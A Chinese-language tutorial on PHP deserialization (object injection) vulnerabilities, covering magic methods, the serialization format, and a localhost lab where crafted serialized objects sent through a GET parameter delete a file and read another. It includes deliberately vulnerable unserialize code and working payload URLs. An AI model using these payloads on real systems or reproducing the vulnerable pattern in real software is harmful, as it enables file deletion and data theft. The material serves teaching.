PHP反序列化漏洞
php对象注入是一个非常常见的漏洞，这个类型的漏洞虽然有些难以利用，但仍旧非常危险。为了理解这个漏洞，请读者具备基础的php知识。类和变量是非常容易理解的php概念。
这里先来了解一下什么是php序列化与反序列化？
序列化：
函数 : serialize()
把复杂的数据类型压缩到一个字符串中 数据类型可以是数组，字符串，对象等
序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。
反序列化:
函数: unserialize()
恢复原先被序列化的变量
首先了解一下php中的魔术方法：
php类可能会包含一些特殊的函数叫magic函数，magic函数命名是以符号__开头的，比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用，比如__construct当一个对象创建时被调用，__destruct当一个对象销毁时被调用，__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的，在2.php中增加了三个magic方法，__construct, __destruct和__toString。可以看出，__construct在对象创建时调用，__destruct在php脚本结束时调用，__toString在对象被当作一个字符串使用时调用。
__construct 当一个对象创建时被调用，
__destruct 当一个对象销毁时被调用，
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
<?php
class TestClass
{
// 一个变量
public $variable = 'This is a string';
// 一个简单的方法
public function PrintVariable()
{
echo $this->variable . '<br />';
}
// Constructor
public function __construct()
{
echo '__construct <br />';
}
// Destructor
public function __destruct()
{
echo '__destruct <br />';
}
// Call
public function __toString()
{
return '__toString<br />';
}
}
// 创建一个对象
// __construct会被调用
$object = new TestClass();
// 创建一个方法
$object->PrintVariable();
// 对象被当作一个字符串
// __toString会被调用
echo $object;
// End of PHP script
// 脚本结束__destruct会被调用
?>
image.png
php允许保存一个对象方便以后重用，这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中，有可能遇到变量值要跨脚本文件传递的过程。试想，如果为一个脚本中想要调用之前一个脚本的变量，但是前一个脚本已经执行完毕，所有的变量和内容释放掉了，我们要如何操作呢?难道要前一个脚本不断的循环，等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值；unserialize则可以将serialize生成的字符串变换回变量。让我们看看php对象序列化之后的格式。
1.2 PHP序列化格式：
O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}
1.3 类型字母详解:
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
例如：
<?php
// 某类
class User
{
// 类数据
public $age = 0;
public $name = '';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}
// 创建一个对象
$usr = new User();
// 设置数据
$usr->age = 20;
$usr->name = 'John';
// 输出数据
$usr->PrintData();
// 输出序列化之后的数据
echo serialize($usr);
?>
image.png
User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
当$name为public型的时候可以看到name为4字节输出
<?php
class User
{
// 类数据
public $age = 0;
private $name = 'John';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}
// 创建一个对象
$usr = new User();
// 设置数据
$usr->age = 20;
//$usr->name = 'John';
// 输出数据
$usr->PrintData();
// 输出序列化之后的数据
echo serialize($usr);
?>
User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:10:"Username";s:4:"John";}
$name为private类型时，发现10字节username
User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:7:"*name";s:4:"John";}
$name为protected类型时输出
发现个问题，为什么私有的，受保护的$name上都多了两个字节呢？
Ps：对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上*。这些前缀值在任一侧都有空字节
反序列化：
为了使用上面这个对象，用unserialize重建对象。
<?php
// 某类
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
// 调用PrintData 输出数据
$usr->PrintData();
?>
image.png
magic函数__construct和__destruct会在对象创建或者销毁时自动调用；__sleep magic方法在一个对象被序列化的时候调用；__wakeup magic方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。
<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function PrintVariable()
{
echo $this->variable . '<br />';
}
public function __construct()
{
echo '__construct<br />';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __wakeup()
{
echo '__wakeup<br />';
}
public function __sleep()
{
echo '__sleep<br />';
return array('variable', 'variable2');
}
}
创建对象调用__construct
$obj = new Test();
序列化对象调用__sleep
$serialized = serialize($obj);
输出序列化后的字符串
print 'Serialized: ' . $serialized . '<br />';
重建对象调用__wakeup
$obj2 = unserialize($serialized);
调用PintVariable输出数据
$obj2->PrintVariable();
脚本结束调用__destruct
?>
image.png
序列化public private protect参数产生不同结果
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>
test类定义了三个不同类型(私有，公有，保护)但是值相同的字符串，序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3
php反序列化漏洞
现在我们了解序列化是如何工作的，但是我们如何利用它呢?有多种可能的方法，取决于应用程序、可用的类和magic函数。记住，序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类，这些函数会影响Web应用程序。例如，我们可能会找到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。
<?php
class LogFile
{
// log文件名
public $filename = 'error.log';
// 储存日志文件
public function LogData($text)
{
echo 'Log some data: ' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}
// 删除日志文件
public function __destruct()
{
echo '__destruct deletes "' . $this->filename . '" file. <br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>
这是一个使用它的例子。
<?php
include 'logfile.php';
// 创建一个对象
$obj = new LogFile();
// 设置文件名和要储存的日志数据
$obj->filename = 'somefile.log';
$obj->LogData('Test');
// 脚本结束__destruct被调用somefile.log文件被删除
?>
在其它脚本中我们可能找到一个unserialize的调用，并且参数是用户提供的。把下面这段代码保存为test.php。
<?php
include 'logfile.php';
// ... 一些使用LogFile类的代码...
// 简单的类定义
class User
{
// 类数据
public $age = 0;
public $name = '';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 重建用户输入的数据
$usr = unserialize($_GET['usr_serialized']);
?>
image.png
现在是可以打开aa.php的
通过下面代码进行删除aa.php
创建利用代码111.php。
<?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = 'aa.php';
echo serialize($obj) . '<br />';
?>
访问111.php
image.png
可以看到序列化后的字符串
然后访问http://127.0.0.1/myphp/Test.php?usr_serialized=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:6:%22aa.php%22;}
image.png
发现已删除aa.php，检查一下
image.png
这时找不到aa.php了，说明已被删除
这就是漏洞名称的由来：在变量可控并且进行了unserialize操作的地方注入序列化对象，实现代码执行或者其它坑爹的行为。先不谈 __wakeup 和 __destruct，还有一些很常见的注入点允许你利用这个类型的漏洞，一切都是取决于程序逻辑。举个例子，某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj)，而且其他类也可能定义了一个类允许__toString读取某个文件。把下面这段代码保存为TT.php。
<?php
// … 一些include ...
class FileClass
{
// 文件名
public $filename = 'error.log';
// 当对象被作为一个字符串会读取这个文件
public function __toString()
{
return file_get_contents($this->filename);
}
}
// Main User class
class User
{
// Class data
public $age = 0;
public $name = '';
// 允许对象作为一个字符串输出上面的data
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 用户可控
$obj = unserialize($_GET['usr_serialized']);
// 输出__toString
echo $obj;
?>
访问http://127.0.0.1/myphp/TT.php?usr_serialized=O:4:%22User%22:2:{s:3:%22age%22;i:20;s:4:%22name%22;s:4:%22John%22;}
image.png
但是如果我们用序列化调用FileClass呢?先建立一个1.txt。
image.png
创建利用代码a_1.php。
<?php
include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '1.txt';
echo serialize($fileobj);
?>
访问http://127.0.0.1/myphp/a_1.php
image.png
访问 http://127.0.0.1/myphp/TT.php?usr_serialized=O:9:%22FileClass%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}
image.png
成功显示了文本内容。也可以使用其他magic函数：如果对象将调用一个不存在的函数__call将被调用；如果对象试图访问不存在的类变量__get和__set将被调用。但是利用这种漏洞并不局限于magic函数，在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据，但是其他类可能定义一个从数据库获取数据的get方法，这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件，可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类，但是一些框架或脚本具有自动加载的功能。最大的问题在于人：理解应用程序以能够利用这种类型的漏洞，因为它可能需要大量的时间来阅读和理解代码。
漏洞的前提：
1）unserialize函数的变量可控
2）php文件中存在可利用的类，类中有魔术方法
利用场景在ctf、代码审计中常见，黑盒测试要通过检查cookie等有没有序列化的值来查看。
防御方法主要有对参数进行处理、换用更安全的函数。
推荐阅读：SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析
